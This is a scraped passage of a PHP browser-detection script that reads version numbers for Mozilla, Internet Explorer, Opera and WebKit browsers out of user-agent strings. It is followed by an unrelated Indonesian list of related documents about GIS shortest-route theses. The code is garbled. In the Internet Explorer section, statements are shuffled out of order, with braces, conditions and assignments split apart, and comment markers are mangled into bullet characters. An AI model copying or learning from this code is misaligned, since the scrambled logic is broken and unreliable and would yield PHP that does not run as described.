  // this slices them back off for math comparisons $moz_rv = substr( $moz_rv_full, 0, 3 ); // this is to pull out specific mozilla versions, firebird, netscape etc.. $j_count = count( $a_moz_types ); for ( $j = 0; $j < $j_count; $j++ ) { if ( strstr( $browser_user_agent,

  $a_moz_types[$j] ) ) {

  $moz_type = $a_moz_types[$j]; $moz_number = get_item_version( $browser_user_agent, $moz_type ); break;

  } } /* this is necesary to protect against false id'ed moz'es and new moz'es. this corrects for galeon, or any other moz browser without an rv number

  • / if ( !$moz_rv ) {

  // you can use this if you are if ( function_exists( 'floatval' ) )

  { $moz_rv = floatval(

  $moz_number ); } else {

  $moz_rv = substr( $moz_number, 0, 3 );

  } $moz_rv_full = $moz_number;

  } // this corrects the version name in case it went to the default 'rv' for the test if ( $moz_type == 'rv' ) {

  $moz_type = 'mozilla'; } //the moz version will be taken from the rv number, see notes above for rv problems $browser_number = $moz_rv; // gets the actual release date, necessary if you need to do functionality tests get_set_count( 'set', 0 ); $moz_release_date = get_item_version(

  $browser_user_agent, 'gecko/' ); /* Test for mozilla 0.9.x / netscape 6.x test your javascript/CSS to see if it works in these mozilla releases, if it does, just default it to: $b_safe_browser = true;

  • / if ( ( $moz_release_date < 20020400 ) ||

  ( $moz_rv < 1 ) ) {

  $b_safe_browser = false; } break; case 'ie':

  /* note we're adding in the trident/ search to return only first instance in case of msie 8, and we're triggering the break last condition in the test, as well as the test for a second search string, trident/

  Sample: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)

  • /

  $browser_number = get_item_version( $browser_user_agent, $browser_name, true, 'trident/' );

  // construct the proper real number if it's in compat mode and msie 10

  { if ( strstr( $browser_user_agent, 'trident/7' ) )

  $browser_user_agent, 'trident/4' ) ) {

  'mac') ) {

  $ie_version = 'ie7x'; } // then test for IE 5x mac, that's the most problematic IE out there elseif ( strstr( $browser_user_agent,

  $ie_version = 'ie9x'; } // 7/8 were not yet quite to standards levels but getting there elseif ( $browser_number >= 7 ) {

  } // the 9 series is finally standards compatible, html 5 etc, so worth a new id if ( $browser_number >= 9 ) {

  $browser_number + 1; }

  // note that 7.0 becomes 8 when adding 1, but if it's 7.1 it will be 8.1 $true_ie_number =

  $browser_number + 2; } elseif ( strstr(

  { // note that 7.0 becomes 11 when adding 4, but if it's 7.1 it will be 11.1 $true_ie_number =

  // note that 7.0 becomes 9 when adding 2, but if it's 7.1 it will be 9.1 $true_ie_number =

  $browser_user_agent, 'trident/5' ) ) {

  $browser_number + 3; } // construct the proper real number if it's in compat mode and msie 8.0/9.0 elseif ( strstr(

  // note that 7.0 becomes 10 when adding 3, but if it's 7.1 it will be 10.1 $true_ie_number =

  $browser_user_agent, 'trident/6' ) ) {

  $browser_number + 4; } elseif ( strstr(

  $ie_version = 'ieMac'; }

  // ie 5/6 are both very weak in standards compliance elseif ( $browser_number >= 5 ) {

  $ie_version = 'ie5x'; } elseif ( ( $browser_number > 3 ) && (

  $browser_number < 5 ) ) {

  $b_dom_browser = false; $ie_version = 'ie4'; // this depends on what you're using the script for, make sure this fits your needs $b_safe_browser = true;

  } else {

  $ie_version = 'old'; $b_dom_browser = false; $b_safe_browser = false;

  } break; case 'op':

  $browser_number = get_item_version( $browser_user_agent, $browser_name );

  // opera is leaving version at 9.80 (or xx) for 10.x - see this for explanation // http://dev.opera.com/articles/view/opera-ua-string-changes/ if ( strstr( $browser_number, '9.' ) && strstr( $browser_user_agent, 'version/' ) ) { get_set_count( 'set', 0 );

  $browser_number = get_item_version( $browser_user_agent, 'version/' );

  } if ( $browser_number < 5 )// opera 4 wasn't very useable.

  { $b_safe_browser = false;

  } break; /* note: webkit returns always the webkit version number, not the specific user agent version, ie, webkit 583, not chrome 0.3

  • / case 'webkit':

  // note that this is the Webkit version number $browser_number = get_item_version(

  $browser_user_agent, $browser_name ); // this is to pull out specific webkit versions, safari, google-chrome etc..

  $j_count = count( $a_webkit_types );

  { if ( strstr( $browser_user_agent, $a_webkit_types[$j] ) )

  { $webkit_type =

  $a_webkit_types[$j]; /* and this is the webkit type version number, like: chrome 1.2 if omni web, we want the count 2, not default 1

  • / if ( $webkit_type ==

  'omniweb' ) { get_set_count( 'set', 2

  ); } $webkit_type_number = get_item_version( $browser_user_agent, $webkit_type ); // epiphany hack if ( $a_webkit_types[$j] ==

  'gtklauncher' ) {

  $browser_name = 'epiphany';

  } else {

  $browser_name = $a_webkit_types[$j];

  } break; }

  } break; default:

  $browser_number = get_item_version( $browser_user_agent, $browser_name ); break;

  } // the browser was id'ed $b_success = true; break;

  } } //assigns defaults if the browser was not found in the loop test if ( !$b_success ) {

  /* this will return the first part of the browser string if the above id's failed usually the first part of the browser string has the navigator useragent name/version in it.

  This will usually correctly id the browser and the browser number if it didn't get caught by the above routine. If you want a '' to do a if browser == '' type test, just comment out all lines below except for the last line, and uncomment the last line. If you want undefined values, the browser_name is '', you can always test for that

  • / // delete this part if you want an unknown browser returned $browser_name = substr( $browser_user_agent, 0, strcspn(

  $browser_user_agent , '();') ); // this extracts just the browser name from the string, if something usable was found if ( $browser_name && preg_match( '/[^0-9][a-z]*-*\ *[a- z]*\ *[a-z]*/', $browser_name, $a_unhandled_browser ) ) {

  $browser_name = $a_unhandled_browser[0]; if ( $browser_name == 'blackberry' ) { get_set_count( 'set', 0 ); } $browser_number = get_item_version(

  $browser_user_agent, $browser_name ); } else {

  $browser_name = 'NA'; $browser_number = 'NA';

  } // then uncomment this part //$browser_name = '';//deletes the last array item in case the browser was not a match

  } // get os data, mac os x test requires browser/version information, this is a change from older scripts if ( $b_os_test ) {

  $a_os_data = get_os_data( $browser_user_agent, $browser_working, $browser_number );

  $os_type = $a_os_data[0];// os name, abbreviated $os_number = $a_os_data[1];// os number or version if available

  } /* this ends the run through once if clause, set the boolean to true so the function won't retest everything

Dokumen yang terkait

Sistem Informasi Geografis Pencarian Rute Terdekat Pada Jasa Pengiriman Barang Menggunakan Algoritma A* (Star) Berbasis Mobile

25 194 82

Implementasi Sistem Informasi Geografis Untuk Menentukan Jarak Terpendek Menggunakan Algoritma Dijkstra Berbasis Web (Studi Kasus : Tempat Wisata di Kota Banda Aceh)

15 87 90

Implementasi Algoritma Dijkstra Untuk Pencarian Rute Terpendek Menuju Pelabuhan Belawan Berbasis Sistem Informasi Geografis

28 248 133

Implementasi Algoritma Dijkstra Dalam Penentuan Rute Terpendek Berbasis Mobile GIS (Studi Kasus: Universitas Sumatera Utara)

10 79 148

Sistem Informasi Geografis Untuk Menentukan Rute Terpendek Menggunakan Algoritma Dijkstra Berbasis Web (Studi Kasus Pada Salah Satu Bimbingan Belajar Di Kota Medan)

10 104 128

Sistem Informasi Geografis Berbasis Web Untuk Menentukan Jarak Terpendek Menggunakan Algoritma Dijkstra (Studi Kasus : Plaza / Mall Dikota Medan)

13 67 105

Pencarian Rute Terpendek Menggunakan Algoritma Greedy (Simulasi Rute Angkot Cicaheum Ciroyom)

21 130 106

Sistem Informasi Geografis Pariwisata Berbasis Web Dan Pencarian Jalur Terpendek Dengan Algoritma Dijkstra

0 2 6

Implementasi Sistem Informasi Geografis Untuk Menentukan Jarak Terpendek Menggunakan Algoritma Dijkstra Berbasis Web (Studi Kasus : Tempat Wisata di Kota Banda Aceh)

0 0 27

BAB II TINJAUAN PUSTAKA 2.1 Pengertian Sistem Informasi Geografis - Implementasi Sistem Informasi Geografis Untuk Menentukan Jarak Terpendek Menggunakan Algoritma Dijkstra Berbasis Web (Studi Kasus : Tempat Wisata di Kota Banda Aceh)

0 0 11